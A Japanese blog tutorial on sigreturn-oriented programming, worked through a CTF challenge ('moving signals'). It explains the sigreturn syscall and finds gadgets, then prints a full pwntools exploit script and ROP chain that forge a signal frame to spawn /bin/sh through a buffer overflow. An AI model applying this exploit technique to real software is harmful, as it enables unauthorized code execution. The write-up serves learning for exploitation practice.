SROP入門

SROP(SigReturn Oriented programming)の入門。

実際にCTFで出題されたSROPの問題と併せて勉強する。

SROPについて

SROPはその名の通り、Sigreturnを利用したROPの応用テクニック。

都合の良いROPガジェットが無い時とかに役立つ(この後のデモプログラムを参照)。

しかしSROP攻撃をするためにはいくつかの条件がある:

  • リターンアドレスの書き換えができるようなbof脆弱性がある
  • syscallとraxのガジェットがそれぞれある(sigreturnをsyscallで呼び出すため)
  • sigframeが書けるだけの十分なスペースがスタックにある

sigreturnシステムコールについて

プログラム動作中にシグナルが発生すると、カーネルはプロセスを一時停止してシグナルハンドラを呼び出す。その際、カーネルはシグナルを受け取ったときの状態をスタックに保存しておく。

シグナルハンドラの処理が終わるとsigreturn()が呼び出される。

sigreturn()はスタックから値をpopして元のプロセスのコンテキスト(プロセッサフラグ、レジスタ等)を復元する(そのおかげで、シグナルにより割り込まれた場所から元のプロセスを再開できる)。

システムコールの詳細はこちら:

linuxjm.osdn.jp

どのように攻撃するか?

sigreturn()が呼ばれると、”sigframe”なるものが参照される。すなわちこれを参照してコンテキストの復元を行おうとする。

そこで、まずこのsigframeを偽造してスタックに用意しておく(pwntoolsのSigreturnFrame()関数で簡単に作れる)。👈 例えばシェルを起動するように偽造したり

そしたらsigreturn()を呼び出すようなガジェットでリターンアドレスを上書きする(なぜならsigreturn()を呼び出せばその偽造しておいたframeを参照するから)

なので少なくとも次の動作をするガジェットが必要(sigreturn()をsyscallで呼び出す):

mov rax, 0x0f; syscall; ret

大雑把ですみません。sigreturnの詳細はももいろテクノロジーさんの記事でお願いします:

inaz2.hatenablog.com

デモ

0x41414141 CTF 2021 の「moving signals」という問題(プログラムはここからダウンロード可)。

checksecで確認すると全てのセキュリティ機構が無効になってる:

shoebill@pwner:~/srop$ checksec moving-signals
[*] '/home/shoebill/srop/moving-signals'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x40000)
    RWX:      Has RWX segments

このプログラムは、サイズ0x1f4(=500)分の標準入力受け取るsys_readを実行するだけ:

shoebill@pwner:~/srop$ ./moving-signals
test
Segmentation fault (core dumped)
shoebill@pwner:~/srop$

ディスアセンブルしても数行のコードで、何の出力もなく値のリークとかはできない:

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x0000000000041000  __start
0x0000000000041000  _start

gdb-peda$ disas _start
Dump of assembler code for function _start:
   0x0000000000041000 <+0>:   mov    rdi,0x0
   0x0000000000041007 <+7>:   mov    rsi,rsp
   0x000000000004100a <+10>:  sub    rsi,0x8
   0x000000000004100e <+14>:  mov    rdx,0x1f4
   0x0000000000041015 <+21>:  syscall
   0x0000000000041017 <+23>:  ret
   0x0000000000041018 <+24>:  pop    rax
   0x0000000000041019 <+25>:  ret
End of assembler dump.

libcもない、GOTエントリもない、ガジェットがたくさんあるわけでもなく単純なROPではうまくいきそうにない。

じゃあ何があるの?

まずbof脆弱性がある。上のディスアセンブルの結果より、sys_readの第二引数すなわち入力された値を格納するバッファについてrsiレジスタをみると:

mov rsi rsp;
sub rsi, 0x8;

とあるから、0x8バイト分適当に埋めてそこからropチェーンを繋げられそう。

なので注入するペイロードの形は

payload = b'A' * 0x8 + pop_rax + 0xf + syscall_ret + sigframe

さらに使えるものとして次の3つがある:

  • ガジェットpop rax; ret;
  • ガジェットsyscall; ret;
  • /bin/shという文字列

(上の2つのガジェットでsigreturnを発生させることができる)

ガジェットの発見:

shoebill@pwner:~/srop$ ROPgadget --binary ./moving-signals
Gadgets information
============================================================
0x0000000000041013 : add byte ptr [rax], al ; syscall
0x000000000004100f : mov edx, 0x1f4 ; syscall
0x000000000004100e : mov rdx, 0x1f4 ; syscall
0x000000000004100d : or byte ptr [rax - 0x39], cl ; ret 0x1f4
0x000000000004100c : out dx, al ; or byte ptr [rax - 0x39], cl ; ret 0x1f4
0x0000000000041018 : pop rax ; ret
0x0000000000041017 : ret
0x0000000000041010 : ret 0x1f4
0x0000000000041015 : syscall

Unique gadgets found: 9

またはpwntoolsでササっと:

 >>> rop = ROP(binf)
 [*] Loaded 3 cached gadgets for './moving-signals'
 
 >>> rop.gadgets 
 {266264: Gadget(0x41018, ['pop rax', 'ret'], ['rax'], 0x10),
  266263: Gadget(0x41017, ['ret'], [], 0x8),
  266261: Gadget(0x41015, ['syscall', 'ret'], [], 0x8)}

文字列"/bin/sh"の発見:

shoebill@pwner:~/srop$ strings ./moving-signals
__start
__bss_start
_edata
_end
.symtab
.strtab
.shstrtab
.shellcode
/bin/sh

gdb-peda$ gdb ./moving-signals
gdb-peda$ r
...
gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
moving-signals : 0x41250 --> 0x68732f6e69622f ('/bin/sh')

注)プログラムをランさせてからでないと"/bin/sh"の文字列を見つけることはできない

exploit

pwntoolsのSigreturnFrame()を使って、execve(/bin/sh)をsyscallするようなsigframeを作る。

#!/usr/bin/env python3
from pwn import *

bin_file = './moving-signals'
context.binary = bin_file
binf = ELF(bin_file)
rop = ROP(binf)

offset = 8

addr_binsh = 0x41250
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]

def attack(conn, **kwargs):
    sigret_frame = SigreturnFrame()
    sigret_frame.rax = constants.SYS_execve
    sigret_frame.rdi = addr_binsh
    sigret_frame.rsi = 0
    sigret_frame.rdx = 0
    sigret_frame.rip = syscall_ret

    rop.raw(b'a' * offset)
    rop.raw(pop_rax)
    rop.raw(constants.SYS_rt_sigreturn)
    rop.raw(syscall_ret)
    rop.raw(sigret_frame)

    conn.sendline(rop.chain())

def main():
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

SigreturnFrame

ドキュメントを参考に。

と言ってもフレームの書き方は単純で、SigreturnFrame()の返り値に対してexecve('/bin/sh')を実行するためのレジスタの設定を書く:

sigret_frame = SigreturnFrame()
sigret_frame.rax = constants.SYS_execve
sigret_frame.rdi = addr_binsh
sigret_frame.rsi = 0
sigret_frame.rdx = 0
sigret_frame.rip = syscall_ret

フレーム設定前後の様子:

>>> sigret_frame = SigreturnFrame()
>>> sigret_frame
{'uc_flags': 0,
 '&uc': 0,
 'uc_stack.ss_sp': 0,
 'uc_stack.ss_flags': 0,
 'uc_stack.ss_size': 0,
 'r8': 0,
 'r9': 0,
 'r10': 0,
 'r11': 0,
 'r12': 0,
 'r13': 0,
 'r14': 0,
 'r15': 0,
 'rdi': 0,
 'rsi': 0,
 'rbp': 0,
 'rbx': 0,
 'rdx': 0,
 'rax': 0,
 'rcx': 0,
 'rsp': 0,
 'rip': 0,
 'eflags': 0,
 'csgsfs': 51,
 'err': 0,
 'trapno': 0,
 'oldmask': 0,
 'cr2': 0,
 '&fpstate': 0,
 '__reserved': 0,
 'sigmask': 0}

>>> sigret_frame.rax = constants.SYS_execve
>>> sigret_frame.rdi = addr_binsh
>>> sigret_frame.rsi = 0
>>> sigret_frame.rdx = 0
>>> sigret_frame.rip = syscall_ret
>>> sigret_frame
{'uc_flags': 0,
 '&uc': 0,
 'uc_stack.ss_sp': 0,
 'uc_stack.ss_flags': 0,
 'uc_stack.ss_size': 0,
 'r8': 0,
 'r9': 0,
 'r10': 0,
 'r11': 0,
 'r12': 0,
 'r13': 0,
 'r14': 0,
 'r15': 0,
 'rdi': 266832,
 'rsi': 0,
 'rbp': 0,
 'rbx': 0,
 'rdx': 0,
 'rax': Constant('SYS_execve', 0x3b),
 'rcx': 0,
 'rsp': 0,
 'rip': 266261, 
 'eflags': 0,
 'csgsfs': 51,
 'err': 0,
 'trapno': 0,
 'oldmask': 0,
 'cr2': 0,
 '&fpstate': 0,
 '__reserved': 0,
 'sigmask': 0}

変わったのは各レジスタの値だけ。

266832、266261の数字たちは16進数表記されたものであり、それぞれ0x41250、0x41015に対応する。

sigret_frame.rsp = 0xdeadbeefは不要

参考元のサイトだったりドキュメントではなぜかこのrspへの設定が書かれている(デバッグの際にわかりやすくするためか?)。

ドキュメント冒頭に

The main caveat is that all registers are set, including ESP and EIP (or their equivalents)

と書かれているから、rspも適当な文字で埋める必要があるのかと最初は思っていたが、別に0xdeadbeefと書かなくても初めから0がセットされてる。

実際にsigret_frame.rsp = 0xdeadbeefを書かなくてもきちんとexploitは刺さった。

ROPチェーン

rop.raw(b'a'*offset)
rop.raw(pop_rax)
rop.raw(constants.SYS_rt_sigreturn)
rop.raw(syscall_ret)
rop.raw(sigret_frame)

raxレジスタにsigreturnのシステムコール番号を設定しsyscallする+偽造sigframeという形でROPチェーンを組む。

これでsigreturnが発生し、その後にあるsigframeを読み込んでシェルが起動する。

最終的に出来上がったROPチェーン:

>>> print(rop.dump())
0x0000:      b'aaaaaaaa' b'aaaaaaaa'
0x0008:          0x41018 pop rax; ret
0x0010:              0xf SYS_rt_sigreturn
0x0018:          0x41015 syscall; ret
0x0020:              0x0 uc_flags
0x0028:              0x0 &uc
0x0030:              0x0 uc_stack.ss_sp
0x0038:              0x0 uc_stack.ss_flags
0x0040:              0x0 uc_stack.ss_size
0x0048:              0x0 r8
0x0050:              0x0 r9
0x0058:              0x0 r10
0x0060:              0x0 r11
0x0068:              0x0 r12
0x0070:              0x0 r13
0x0078:              0x0 r14
0x0080:              0x0 r15
0x0088:          0x41250 rdi
0x0090:              0x0 rsi
0x0098:              0x0 rbp
0x00a0:              0x0 rbx
0x00a8:              0x0 rdx
0x00b0:             0x3b rax = SYS_execve
0x00b8:              0x0 rcx
0x00c0:              0x0 rsp
0x00c8:          0x41015 rip = syscall; ret
0x00d0:              0x0 eflags
0x00d8:             0x33 csgsfs
0x00e0:              0x0 err
0x00e8:              0x0 trapno
0x00f0:              0x0 oldmask
0x00f8:              0x0 cr2
0x0100:              0x0 &fpstate
0x0108:              0x0 __reserved
0x0110:              0x0 sigmask

pwntoolsの復習

rop.raxrop.find_gadget(['pop rax', 'ret'])[0]と同じ。

rop.syscall.addressrop.find_gadget(['syscall', 'ret'])[0]と同じ。

>> rop.find_gadget(['pop rax', 'ret'])
 Gadget(0x41018, ['pop rax', 'ret'], ['rax'], 0x10)

>>> rop.find_gadget(['syscall', 'ret'])
Gadget(0x41015, ['syscall', 'ret'], [], 0x8)

>>> rop.syscall
gadget(address=266261, details=Gadget(0x41015, ['syscall', 'ret'], [], 0x8))

>>> rop.syscall.address
266261  # hex(266261) == 0x41015

>>> rop.syscall.details
Gadget(0x41015, ['syscall', 'ret'], [], 0x8)

参考


何か腑に落ちない...

sigreturn()はスタックからレジスタへ一気に値を設定する(復元する)。そこでpwntoolsのSigreturnFrame()で作った物をスタックに用意しておく。その上でsigreturn()を呼ぶと我々が用意したSigreturnFrame()を参照してレジスタに値を設定する。その結果こちらが意図した動作(シェルの起動など)を実現できる』で正しいのか...

特に『”SigreturnFrame()`で作った物(signal frame)はスタックに乗っている』であってるよな...